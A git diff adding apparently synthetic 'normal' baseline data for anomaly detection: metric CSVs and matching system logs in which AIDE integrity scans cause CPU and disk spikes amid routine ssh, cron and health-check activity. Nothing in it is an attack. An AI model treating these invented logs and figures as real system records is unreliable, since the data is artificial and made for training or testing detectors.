kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:04:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 11:05:00 aide[6153]: INFO: All files match the baseline. +Jul 02 11:05:05 aide[6153]: INFO: Scan finished. +Jul 02 11:05:30 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 11:06:10 systemd[1]: Daily clean up activities finished. +Jul 02 11:07:00 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_48.csv b/norm_dataset/scenario_16/norm_16_48.csv new file mode 100644 index 0000000000000000000000000000000000000000..fed9cd236803f5e09a84b94f874f1b14caea1d76 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_48.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T03:00:00Z,10.5,35.2,15.1,1.2,0.8 +2025-08-16T03:00:05Z,11.2,35.4,14.8,1.1,0.9 +2025-08-16T03:00:10Z,10.8,35.3,15.5,1.3,0.7 +2025-08-16T03:00:15Z,12.1,35.6,14.2,1.0,1.0 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file mode 100644 index 0000000000000000000000000000000000000000..9010d3c0ff6c826bfc6d1e916b3fbc6b43f12ba9 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_48.log @@ -0,0 +1,24 @@ +Aug 16 03:00:01 server-db-1 sshd[8851]: Accepted publickey for user admin from 192.168.1.100 port 22 ssh2: RSA SHA256:xyz... +Aug 16 03:00:15 server-db-1 systemd[1]: Starting Clean Up of Temporary Directories... +Aug 16 03:00:30 server-db-1 nginx[1120]: 10.0.0.5 - - [16/Aug/2025:03:00:30 +0000] "GET /healthz HTTP/1.1" 200 0 "-" "kube-probe/1.25" +Aug 16 03:01:00 server-db-1 CRON[9011]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )) +Aug 16 03:01:15 server-db-1 nginx[1120]: 10.0.0.5 - - [16/Aug/2025:03:01:15 +0000] "GET /api/v1/status HTTP/1.1" 200 12 "-" "Prometheus/2.45.0" +Aug 16 03:01:35 server-db-1 sshd[8910]: pam_unix(sshd:session): session closed for user admin +Aug 16 03:01:40 server-db-1 CRON[9055]: (root) CMD (/usr/sbin/aide --check) +Aug 16 03:01:40 server-db-1 systemd[1]: Starting AIDE integrity check... +Aug 16 03:01:41 server-db-1 aide[9056]: INFO: AIDE 0.17.4-1ubuntu1~22.04.1 started +Aug 16 03:01:42 server-db-1 aide[9056]: INFO: Scan started. Configuration file: /etc/aide/aide.conf +Aug 16 03:01:55 server-db-1 aide[9056]: INFO: Hashing file: /bin/bash +Aug 16 03:02:05 server-db-1 aide[9056]: INFO: Hashing file: /usr/lib/x86_64-linux-gnu/libcrypto.so.3 +Aug 16 03:02:15 server-db-1 aide[9056]: INFO: Hashing file: /var/www/html/index.html +Aug 16 03:02:26 server-db-1 aide[9056]: INFO: All files match the baseline. +Aug 16 03:02:27 server-db-1 aide[9056]: INFO: AIDE check finished. +Aug 16 03:02:27 server-db-1 systemd[1]: aide-check.service: Succeeded. +Aug 16 03:02:27 server-db-1 systemd[1]: Finished AIDE integrity check. +Aug 16 03:02:45 server-db-1 nginx[1120]: 10.0.0.5 - - [16/Aug/2025:03:02:45 +0000] "GET /healthz HTTP/1.1" 200 0 "-" "kube-probe/1.25" +Aug 16 03:03:30 server-db-1 systemd[1]: Started Session 123 of user root. +Aug 16 03:04:00 server-db-1 CRON[9130]: (root) CMD ( /usr/lib/x86_64-linux-gnu/sa/sa1 1 1) +Aug 16 03:05:01 server-db-1 CRON[9188]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 03:06:10 server-db-1 sshd[9250]: Accepted password for user-service from 192.168.2.5 port 54322 ssh2 +Aug 16 03:06:45 server-db-1 nginx[1120]: 10.0.0.5 - - [16/Aug/2025:03:06:45 +0000] "GET /api/v1/metrics HTTP/1.1" 200 8192 "-" "Prometheus/2.45.0" +Aug 16 03:07:15 server-db-1 systemd[1]: session-123.scope: Succeeded. diff --git a/norm_dataset/scenario_16/norm_16_49.csv b/norm_dataset/scenario_16/norm_16_49.csv new file mode 100644 index 0000000000000000000000000000000000000000..e961e162798c3c3768942a9078e77a2bfdc66d66 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_49.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,10.15,41.52,15.33,1.12,0.85 +2025-07-03T14:00:05Z,12.33,41.65,18.91,0.98,0.91 +2025-07-03T14:00:10Z,11.89,41.49,14.78,1.05,1.02 +2025-07-03T14:00:15Z,13.01,41.88,16.42,1.21,0.78 +2025-07-03T14:00:20Z,10.56,42.01,12.11,1.15,0.99 +2025-07-03T14:00:25Z,11.23,41.95,17.54,0.89,1.13 +2025-07-03T14:00:30Z,14.11,42.15,15.88,1.32,0.81 +2025-07-03T14:00:35Z,12.87,42.03,19.03,1.01,0.94 +2025-07-03T14:00:40Z,10.99,41.98,14.52,1.18,1.05 +2025-07-03T14:00:45Z,13.45,42.21,16.98,0.95,0.88 +2025-07-03T14:00:50Z,11.54,42.11,13.87,1.24,1.10 +2025-07-03T14:00:55Z,12.67,42.32,18.34,1.08,0.92 +2025-07-03T14:01:00Z,13.88,42.25,15.65,1.11,1.07 +2025-07-03T14:01:05Z,11.02,42.18,17.21,0.99,0.96 +2025-07-03T14:01:10Z,12.91,42.40,14.99,1.28,0.84 +2025-07-03T14:01:15Z,10.76,42.33,16.87,1.03,1.12 +2025-07-03T14:01:20Z,13.12,42.51,18.55,1.19,0.90 +2025-07-03T14:01:25Z,11.43,42.45,15.21,0.92,1.00 +2025-07-03T14:01:30Z,12.58,42.63,17.98,1.25,0.87 +2025-07-03T14:01:35Z,14.05,42.58,16.01,1.14,1.03 +2025-07-03T14:01:40Z,35.45,42.88,65.12,1.20,0.95 +2025-07-03T14:01:45Z,68.12,43.10,85.43,1.10,0.89 +2025-07-03T14:01:50Z,85.67,43.32,92.11,1.05,0.92 +2025-07-03T14:01:55Z,89.12,43.55,95.34,1.15,1.01 +2025-07-03T14:02:00Z,91.34,43.78,98.67,0.98,0.86 +2025-07-03T14:02:05Z,88.98,43.65,96.21,1.22,0.97 +2025-07-03T14:02:10Z,86.43,43.48,93.88,1.07,1.04 +2025-07-03T14:02:15Z,75.11,43.21,88.45,1.13,0.82 +2025-07-03T14:02:20Z,55.78,43.01,75.98,1.01,0.93 +2025-07-03T14:02:25Z,30.21,42.85,45.23,1.18,1.06 +2025-07-03T14:02:30Z,15.11,42.71,20.11,1.09,0.88 +2025-07-03T14:02:35Z,13.98,42.65,18.43,1.26,0.99 +2025-07-03T14:02:40Z,12.54,42.55,16.76,1.04,1.08 +2025-07-03T14:02:45Z,11.88,42.48,15.98,0.96,0.91 +2025-07-03T14:02:50Z,13.21,42.70,17.88,1.23,0.85 +2025-07-03T14:02:55Z,10.98,42.61,14.65,1.11,1.14 +2025-07-03T14:03:00Z,12.76,42.81,19.01,1.00,0.93 +2025-07-03T14:03:05Z,14.01,42.75,16.21,1.17,1.02 +2025-07-03T14:03:10Z,11.65,42.68,15.34,0.94,0.89 +2025-07-03T14:03:15Z,13.33,42.90,18.12,1.29,0.83 +2025-07-03T14:03:20Z,10.87,42.83,14.88,1.06,1.11 +2025-07-03T14:03:25Z,12.45,43.01,17.65,1.20,0.96 +2025-07-03T14:03:30Z,13.99,42.95,16.43,1.12,1.05 +2025-07-03T14:03:35Z,11.32,42.88,15.76,0.97,0.90 +2025-07-03T14:03:40Z,13.01,43.10,18.43,1.27,0.86 +2025-07-03T14:03:45Z,10.65,43.03,14.99,1.08,1.09 +2025-07-03T14:03:50Z,12.87,43.21,17.87,1.21,0.94 +2025-07-03T14:03:55Z,14.12,43.15,16.65,1.15,1.01 +2025-07-03T14:04:00Z,11.21,43.08,15.89,0.93,0.92 +2025-07-03T14:04:05Z,13.43,43.30,18.54,1.30,0.81 +2025-07-03T14:04:10Z,10.78,43.23,15.11,1.09,1.13 +2025-07-03T14:04:15Z,12.69,43.41,17.99,1.22,0.95 +2025-07-03T14:04:20Z,14.03,43.35,16.87,1.16,1.03 +2025-07-03T14:04:25Z,11.11,43.28,15.99,0.95,0.88 +2025-07-03T14:04:30Z,13.56,43.50,18.67,1.28,0.84 +2025-07-03T14:04:35Z,10.89,43.43,15.23,1.10,1.10 +2025-07-03T14:04:40Z,12.78,43.61,18.11,1.24,0.97 +2025-07-03T14:04:45Z,14.07,43.55,16.98,1.14,1.04 +2025-07-03T14:04:50Z,11.05,43.48,16.05,0.96,0.91 +2025-07-03T14:04:55Z,13.67,43.70,18.78,1.29,0.82 +2025-07-03T14:05:00Z,10.91,43.63,15.34,1.12,1.12 +2025-07-03T14:05:05Z,12.88,43.81,18.22,1.25,0.98 +2025-07-03T14:05:10Z,14.10,43.75,17.01,1.13,1.06 +2025-07-03T14:05:15Z,11.15,43.68,16.12,0.98,0.87 +2025-07-03T14:05:20Z,13.78,43.90,18.89,1.31,0.83 +2025-07-03T14:05:25Z,10.95,43.83,15.45,1.11,1.15 +2025-07-03T14:05:30Z,12.99,44.01,18.34,1.26,0.99 +2025-07-03T14:05:35Z,14.13,43.95,17.12,1.15,1.07 +2025-07-03T14:05:40Z,11.18,43.88,16.23,0.99,0.89 +2025-07-03T14:05:45Z,13.89,44.10,18.99,1.32,0.85 +2025-07-03T14:05:50Z,10.99,44.03,15.56,1.13,1.13 +2025-07-03T14:05:55Z,13.02,44.21,18.45,1.27,1.00 +2025-07-03T14:06:00Z,14.15,44.15,17.23,1.16,1.08 +2025-07-03T14:06:05Z,11.23,44.08,16.34,1.00,0.90 +2025-07-03T14:06:10Z,13.95,44.30,19.10,1.33,0.86 +2025-07-03T14:06:15Z,11.01,44.23,15.67,1.14,1.14 +2025-07-03T14:06:20Z,13.05,44.41,18.56,1.28,1.01 +2025-07-03T14:06:25Z,14.18,44.35,17.34,1.17,1.09 +2025-07-03T14:06:30Z,11.27,44.28,16.45,1.01,0.92 +2025-07-03T14:06:35Z,13.99,44.50,19.21,1.34,0.87 +2025-07-03T14:06:40Z,11.03,44.43,15.78,1.15,1.16 +2025-07-03T14:06:45Z,13.08,44.61,18.67,1.29,1.02 +2025-07-03T14:06:50Z,14.20,44.55,17.45,1.18,1.10 +2025-07-03T14:06:55Z,11.30,44.48,16.56,1.02,0.93 +2025-07-03T14:07:00Z,14.02,44.70,19.32,1.35,0.88 +2025-07-03T14:07:05Z,11.06,44.63,15.89,1.16,1.17 +2025-07-03T14:07:10Z,13.11,44.81,18.78,1.30,1.03 +2025-07-03T14:07:15Z,14.22,44.75,17.56,1.19,1.11 +2025-07-03T14:07:20Z,11.33,44.68,16.67,1.03,0.94 +2025-07-03T14:07:25Z,14.05,44.90,19.43,1.36,0.89 diff --git a/norm_dataset/scenario_16/norm_16_49.log b/norm_dataset/scenario_16/norm_16_49.log new file mode 100644 index 0000000000000000000000000000000000000000..b7eb6d66cad825266cf6716797407ae5bb56154e --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_49.log @@ -0,0 +1,25 @@ +Jul 03 14:00:00 server-1 kernel: [172800.123456] usb 1-1: new high-speed USB device number 2 using xhci_hcd +Jul 03 14:00:15 server-1 sshd[3100]: Accepted publickey for user from 192.168.1.10 port 54321 ssh2: RSA SHA256:abc... +Jul 03 14:00:30 server-1 systemd[1]: Starting Clean up of old temporary files... +Jul 03 14:00:45 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 14:01:01 server-1 systemd[1]: Started Clean up of old temporary files. +Jul 03 14:01:15 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 14:01:30 server-1 kernel: [172890.654321] nf_conntrack: nf_conntrack: table full, dropping packet +Jul 03 14:01:40 server-1 CRON[3155]: (root) CMD (/usr/bin/aide --check) +Jul 03 14:01:41 server-1 aide[3156]: INFO: Starting AIDE integrity check... +Jul 03 14:01:46 server-1 aide[3156]: INFO: Scan started. +Jul 03 14:02:26 server-1 aide[3156]: INFO: All files match the baseline. +Jul 03 14:02:28 server-1 aide[3156]: INFO: Scan finished. +Jul 03 14:02:40 server-1 web-app[1234]: POST /api/v1/login status=200 OK +Jul 03 14:03:00 server-1 systemd[1]: Starting Daily apt download activities... +Jul 03 14:03:10 server-1 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 03 14:03:35 server-1 sshd[3180]: Received disconnect from 198.51.100.2 port 12345:11: Bye Bye [preauth] +Jul 03 14:04:01 server-1 systemd[1]: Started Daily apt download activities. +Jul 03 14:04:20 server-1 web-app[1234]: GET /api/v1/metrics status=200 OK +Jul 03 14:04:45 server-1 kernel: [173085.987654] audit: type=1400 audit(1720017885.987:60): apparmor="DENIED" operation="open" profile="/usr/sbin/sssd" name="/etc/ssl/openssl.cnf" pid=987 comm="sssd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 14:05:15 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 14:05:40 server-1 systemd[1]: Starting Rotate log files... +Jul 03 14:06:05 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 14:06:30 server-1 systemd[1]: Started Rotate log files. +Jul 03 14:07:00 server-1 sshd[3250]: Failed password for invalid user guest from 203.0.113.5 port 22 ssh2 +Jul 03 14:07:15 server-1 web-app[1234]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_5.csv b/norm_dataset/scenario_16/norm_16_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..798016b663b1cd626e3d6e1b024bb358511c9983 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,10.53,39.0,33.73,1.34,1.38 +2025-08-19T10:00:05Z,19.71,40.55,28.78,0.87,1.58 +2025-08-19T10:00:10Z,15.38,40.03,31.15,0.62,1.41 +2025-08-19T10:00:15Z,10.91,38.97,32.66,1.29,0.91 +2025-08-19T10:00:20Z,11.37,40.9,31.36,0.8,1.64 +2025-08-19T10:00:25Z,12.51,41.08,20.23,1.42,1.18 +2025-08-19T10:00:30Z,16.46,38.36,34.87,0.95,1.01 +2025-08-19T10:00:35Z,19.54,41.82,20.23,1.0,1.45 +2025-08-19T10:00:40Z,10.52,40.4,32.08,0.56,0.94 +2025-08-19T10:00:45Z,13.35,41.06,21.4,1.38,1.19 +2025-08-19T10:00:50Z,16.25,38.96,29.71,0.94,1.07 +2025-08-19T10:00:55Z,15.34,38.26,35.16,1.06,0.77 +2025-08-19T10:01:00Z,11.23,41.26,36.03,1.46,1.21 +2025-08-19T10:01:05Z,12.93,40.32,24.54,1.06,0.88 +2025-08-19T10:01:10Z,18.29,39.55,26.98,0.92,1.47 +2025-08-19T10:01:15Z,10.95,39.74,35.24,0.74,1.29 +2025-08-19T10:01:20Z,15.26,39.45,34.51,0.57,0.87 +2025-08-19T10:01:25Z,12.71,40.44,26.35,0.63,0.75 +2025-08-19T10:01:30Z,12.72,38.34,21.48,1.13,1.52 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+2025-08-19T10:04:45Z,80.9,46.19,261.68,0.81,1.24 +2025-08-19T10:04:50Z,91.22,40.48,296.23,0.83,1.3 +2025-08-19T10:04:55Z,90.14,45.38,259.1,0.92,1.39 +2025-08-19T10:05:00Z,19.17,41.0,20.16,1.27,0.78 +2025-08-19T10:05:05Z,11.17,39.68,37.6,0.55,0.8 +2025-08-19T10:05:10Z,11.69,41.51,20.46,1.18,0.85 +2025-08-19T10:05:15Z,14.1,41.88,24.5,0.98,1.59 +2025-08-19T10:05:20Z,15.29,39.81,27.73,1.16,1.07 +2025-08-19T10:05:25Z,14.44,41.68,25.68,1.07,1.23 +2025-08-19T10:05:30Z,18.61,41.07,37.21,1.1,1.32 +2025-08-19T10:05:35Z,13.11,41.77,39.7,1.19,1.05 +2025-08-19T10:05:40Z,18.5,38.79,23.05,0.96,0.76 +2025-08-19T10:05:45Z,17.83,39.51,21.53,0.64,0.97 +2025-08-19T10:05:50Z,13.34,41.84,26.4,0.56,0.74 +2025-08-19T10:05:55Z,10.03,40.85,34.47,1.08,0.99 +2025-08-19T10:06:00Z,14.81,40.53,28.62,0.78,1.08 +2025-08-19T10:06:05Z,17.23,40.78,29.37,0.9,1.15 +2025-08-19T10:06:10Z,11.64,39.11,25.46,0.95,0.93 +2025-08-19T10:06:15Z,18.65,38.03,27.92,1.16,0.96 +2025-08-19T10:06:20Z,17.7,40.17,27.82,0.66,1.15 +2025-08-19T10:06:25Z,10.24,41.49,29.34,0.72,1.56 +2025-08-19T10:06:30Z,14.69,38.23,34.94,0.73,1.59 +2025-08-19T10:06:35Z,17.99,39.84,27.95,1.26,0.8 +2025-08-19T10:06:40Z,10.67,38.36,24.27,1.0,0.86 +2025-08-19T10:06:45Z,13.3,40.85,32.19,1.23,1.22 +2025-08-19T10:06:50Z,14.37,38.25,20.6,1.46,1.1 +2025-08-19T10:06:55Z,15.61,39.39,29.1,1.13,0.94 +2025-08-19T10:07:00Z,19.14,40.23,36.7,0.99,0.83 +2025-08-19T10:07:05Z,17.67,40.51,22.7,0.78,1.45 +2025-08-19T10:07:10Z,11.71,38.68,39.75,0.84,0.95 +2025-08-19T10:07:15Z,18.42,39.2,23.08,0.71,1.03 +2025-08-19T10:07:20Z,17.74,41.07,26.09,1.01,0.99 +2025-08-19T10:07:25Z,12.91,39.61,30.03,1.41,0.78 diff --git a/norm_dataset/scenario_16/norm_16_5.log b/norm_dataset/scenario_16/norm_16_5.log new file mode 100644 index 0000000000000000000000000000000000000000..5520b880bf3fb3baecab31159bd2d0a96a5fdf66 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_5.log @@ -0,0 +1,17 @@ +Aug 19 10:00:10 server-1 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:45 server-1 sshd[3456]: Accepted publickey for user root from 192.168.1.100 port 22 ssh2: RSA SHA256:... +Aug 19 10:01:05 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 10:02:00 server-1 CRON[5010]: (root) CMD (aide --check) +Aug 19 10:02:01 server-1 aide[5011]: INFO: Starting AIDE integrity check... +Aug 19 10:02:02 server-1 aide[5011]: INFO: Scan started. +Aug 19 10:02:15 server-1 systemd[1]: Starting session c2 of user root. +Aug 19 10:02:45 server-1 kubelet[2345]: INFO: Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 19 10:03:30 server-1 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 19 10:04:15 server-1 kubelet[2345]: INFO: Liveness probe for pod 'database-abc' succeeded. +Aug 19 10:04:55 server-1 aide[5011]: INFO: All files match the baseline. +Aug 19 10:04:56 server-1 aide[5011]: INFO: Scan finished. +Aug 19 10:04:56 server-1 aide[5011]: INFO: Duration: 175 seconds +Aug 19 10:05:10 server-1 CRON[5000]: pam_unix(cron:session): session closed for user root +Aug 19 10:05:30 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 10:06:00 server-1 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 19 10:06:30 server-1 sshd[3850]: Disconnected from user root 192.168.1.100 port 22 \ No newline at end of file diff --git a/norm_dataset/scenario_16/norm_16_50.csv b/norm_dataset/scenario_16/norm_16_50.csv new file mode 100644 index 0000000000000000000000000000000000000000..8c24a5f736ff4ddf643bae8f7f55c853e8c478fa --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_50.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,12.5,40.1,15.3,1.2,0.8 +2025-07-03T14:00:05Z,11.8,40.2,14.8,1.1,0.9 +2025-07-03T14:00:10Z,13.1,40.0,15.5,1.3,0.8 +2025-07-03T14:00:15Z,12.2,40.3,14.9,1.2,0.9 +2025-07-03T14:00:20Z,12.8,40.1,15.1,1.1,0.8 +2025-07-03T14:00:25Z,13.5,40.4,15.8,1.4,0.9 +2025-07-03T14:00:30Z,12.9,40.2,15.2,1.2,0.8 +2025-07-03T14:00:35Z,13.2,40.5,15.6,1.3,0.9 +2025-07-03T14:00:40Z,12.7,40.3,15.0,1.1,0.8 +2025-07-03T14:00:45Z,13.8,40.6,16.0,1.4,0.9 +2025-07-03T14:00:50Z,13.0,40.4,15.4,1.2,0.8 +2025-07-03T14:00:55Z,12.5,40.2,14.8,1.1,0.9 +2025-07-03T14:01:00Z,13.3,40.5,15.7,1.3,0.8 +2025-07-03T14:01:05Z,12.6,40.3,15.1,1.2,0.9 +2025-07-03T14:01:10Z,13.9,40.7,16.1,1.4,0.8 +2025-07-03T14:01:15Z,12.8,40.4,15.3,1.1,0.9 +2025-07-03T14:01:20Z,13.1,40.5,15.5,1.3,0.8 +2025-07-03T14:01:25Z,12.4,40.2,14.7,1.2,0.9 +2025-07-03T14:01:30Z,13.6,40.6,15.9,1.4,0.8 +2025-07-03T14:01:35Z,12.9,40.4,15.2,1.1,0.9 +2025-07-03T14:01:40Z,13.2,40.5,15.6,1.3,0.8 +2025-07-03T14:01:45Z,13.7,40.6,16.0,1.2,0.9 +2025-07-03T14:01:50Z,14.5,40.8,18.2,1.5,1.0 +2025-07-03T14:01:55Z,25.2,41.0,45.5,1.4,0.9 +2025-07-03T14:02:00Z,60.5,41.5,120.3,1.2,0.8 +2025-07-03T14:02:05Z,75.2,41.8,145.8,1.1,0.9 +2025-07-03T14:02:10Z,80.1,42.0,155.2,1.3,0.8 +2025-07-03T14:02:15Z,82.5,42.1,158.9,1.2,0.9 +2025-07-03T14:02:20Z,83.0,42.3,160.1,1.1,0.8 +2025-07-03T14:02:25Z,81.7,42.2,157.4,1.4,0.9 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+2025-07-03T14:04:15Z,82.7,42.6,160.0,1.4,0.9 +2025-07-03T14:04:20Z,83.3,42.8,161.5,1.2,0.8 +2025-07-03T14:04:25Z,81.9,42.5,158.4,1.1,0.9 +2025-07-03T14:04:30Z,82.4,42.6,159.2,1.3,0.8 +2025-07-03T14:04:35Z,80.5,42.1,155.8,1.2,0.9 +2025-07-03T14:04:40Z,78.2,41.9,150.1,1.1,0.8 +2025-07-03T14:04:45Z,75.9,41.7,145.3,1.4,0.9 +2025-07-03T14:04:50Z,72.1,41.5,138.6,1.2,0.8 +2025-07-03T14:04:55Z,68.3,41.3,130.2,1.1,0.9 +2025-07-03T14:05:00Z,64.5,41.1,122.7,1.3,0.8 +2025-07-03T14:05:05Z,60.2,40.9,115.4,1.2,0.9 +2025-07-03T14:05:10Z,55.8,40.8,107.9,1.1,0.8 +2025-07-03T14:05:15Z,51.3,40.7,99.8,1.4,0.9 +2025-07-03T14:05:20Z,46.9,40.6,91.5,1.2,0.8 +2025-07-03T14:05:25Z,42.1,40.5,82.3,1.1,0.9 +2025-07-03T14:05:30Z,38.4,40.4,75.1,1.3,0.8 +2025-07-03T14:05:35Z,34.2,40.3,67.0,1.2,0.9 +2025-07-03T14:05:40Z,29.8,40.2,58.3,1.1,0.8 +2025-07-03T14:05:45Z,25.5,40.1,49.9,1.4,0.9 +2025-07-03T14:05:50Z,21.7,40.0,42.4,1.2,0.8 +2025-07-03T14:05:55Z,18.3,39.9,35.8,1.1,0.9 +2025-07-03T14:06:00Z,15.1,39.8,29.5,1.3,0.8 +2025-07-03T14:06:05Z,13.9,39.8,22.1,1.2,0.9 +2025-07-03T14:06:10Z,13.2,39.7,18.4,1.1,0.8 +2025-07-03T14:06:15Z,12.8,39.7,16.8,1.4,0.9 +2025-07-03T14:06:20Z,12.5,39.6,16.1,1.2,0.8 +2025-07-03T14:06:25Z,12.2,39.6,15.7,1.1,0.9 +2025-07-03T14:06:30Z,12.0,39.5,15.4,1.3,0.8 +2025-07-03T14:06:35Z,11.8,39.5,15.2,1.2,0.9 +2025-07-03T14:06:40Z,11.7,39.4,15.0,1.1,0.8 +2025-07-03T14:06:45Z,11.5,39.4,14.8,1.4,0.9 +2025-07-03T14:06:50Z,11.4,39.3,14.7,1.2,0.8 +2025-07-03T14:06:55Z,11.3,39.3,14.6,1.1,0.9 +2025-07-03T14:07:00Z,11.2,39.2,14.5,1.3,0.8 +2025-07-03T14:07:05Z,11.1,39.2,14.4,1.2,0.9 +2025-07-03T14:07:10Z,11.0,39.1,14.3,1.1,0.8 +2025-07-03T14:07:15Z,11.0,39.1,14.2,1.4,0.9 +2025-07-03T14:07:20Z,10.9,39.0,14.1,1.2,0.8 +2025-07-03T14:07:25Z,10.8,39.0,14.0,1.1,0.9 diff --git a/norm_dataset/scenario_16/norm_16_50.log b/norm_dataset/scenario_16/norm_16_50.log new file mode 100644 index 0000000000000000000000000000000000000000..56a6d9ecdf81bdb536831de807c1145fff929878 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_50.log @@ -0,0 +1,21 @@ +Jul 03 14:00:00 server-prod-1 systemd[1]: Starting Clean php session files... +Jul 03 14:00:01 server-prod-1 web-app[2101]: GET /api/v2/status status=200 OK +Jul 03 14:00:30 server-prod-1 sshd[8921]: Accepted publickey for user admin from 192.168.1.10 port 22 +Jul 03 14:01:01 server-prod-1 CRON[9011]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:01:35 server-prod-1 web-app[2101]: POST /api/v2/login status=200 OK +Jul 03 14:02:00 server-prod-1 CRON[9055]: (root) CMD (/usr/sbin/aide --check) +Jul 03 14:02:00 server-prod-1 aide[9056]: INFO: Starting AIDE integrity check... +Jul 03 14:02:01 server-prod-1 aide[9056]: INFO: Scan started. +Jul 03 14:02:30 server-prod-1 kernel: [11345.678] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 03 14:03:05 server-prod-1 web-app[2101]: GET /api/v2/users/all status=200 OK +Jul 03 14:03:45 server-prod-1 aide[9056]: INFO: Processing file /bin/ls +Jul 03 14:04:15 server-prod-1 aide[9056]: INFO: Processing file /etc/passwd +Jul 03 14:04:50 server-prod-1 aide[9056]: INFO: Processing file /usr/lib/x86_64-linux-gnu/libselinux.so.1 +Jul 03 14:05:25 server-prod-1 aide[9056]: INFO: 98752 files scanned. +Jul 03 14:05:31 server-prod-1 aide[9056]: INFO: All files match the baseline. +Jul 03 14:05:32 server-prod-1 aide[9056]: INFO: Scan finished. +Jul 03 14:06:00 server-prod-1 systemd[1]: Started Session 123 of user admin. +Jul 03 14:06:10 server-prod-1 web-app[2101]: GET /api/v2/health status=200 OK +Jul 03 14:06:45 server-prod-1 sshd[8921]: Received disconnect from 192.168.1.10 port 22: 11: disconnected by user +Jul 03 14:07:01 server-prod-1 CRON[9150]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Jul 03 14:07:20 server-prod-1 systemd[1]: session-123.scope: Succeeded. diff --git a/norm_dataset/scenario_16/norm_16_6.csv b/norm_dataset/scenario_16/norm_16_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..b897967180a719c408c9cafd2b7a7d0aeb692607 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,12.32089465736934,41.86714162770543,7.9904021167928185,1.8395980400043088,1.182391043246726 +2025-08-19T10:00:05Z,17.82603853073233,39.38894096591038,11.095691344052128,1.3712033426909338,1.3765952771685743 +2025-08-19T10:00:10Z,15.227920933966603,40.575489273914854,10.06546779038304,1.123816231223684,1.2084447778671068 +2025-08-19T10:00:15Z,12.543030223665099,41.331875368923676,7.932255701922969,1.78676747244125,0.7080728265402996 +2025-08-19T10:00:20Z,12.823206918483752,40.67836124570731,11.796443256007409,1.3017040206872859,1.4422308216066668 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10:01:30 web-app[1234]: GET /api/v1/user/55 status=200 OK +Aug 19 10:01:55 systemd[1]: Started session 12345 of user root. +Aug 19 10:02:00 CRON[5512]: (root) CMD (aide --check) +Aug 19 10:02:05 aide[5513]: INFO: Starting AIDE integrity check... +Aug 19 10:02:10 aide[5513]: INFO: Scan started. +Aug 19 10:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 19 10:03:45 sshd[6789]: Accepted publickey for user admin from 192.168.1.100 port 22 +Aug 19 10:04:35 sshd[6789]: pam_unix(sshd:session): session opened for user admin by (uid=0) +Aug 19 10:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod db-serv-abc +Aug 19 10:06:05 aide[5513]: INFO: 84322 files checked. +Aug 19 10:06:05 aide[5513]: INFO: All files match the baseline. +Aug 19 10:06:10 aide[5513]: INFO: Scan finished. +Aug 19 10:06:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 19 10:07:05 systemd[1]: Starting daily clean up activities... +Aug 19 10:07:25 CRON[5600]: (root) CMD (run-parts --report /etc/cron.hourly) \ No newline at end of file diff --git a/norm_dataset/scenario_16/norm_16_7.csv b/norm_dataset/scenario_16/norm_16_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..9ed97698e9ec775aa87c9c157b3a2d5784ec9422 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,15.07,39.43,17.14,1.05,1.05 +2025-08-19T10:00:05Z,9.7,42.59,26.41,0.79,0.92 +2025-08-19T10:00:10Z,14.18,39.74,26.77,1.14,1.13 +2025-08-19T10:00:15Z,11.83,44.22,25.91,1.31,0.93 +2025-08-19T10:00:20Z,12.59,38.29,23.0,0.99,0.99 +2025-08-19T10:00:25Z,11.83,38.89,18.36,0.94,0.92 +2025-08-19T10:00:30Z,14.18,40.12,29.5,1.25,0.64 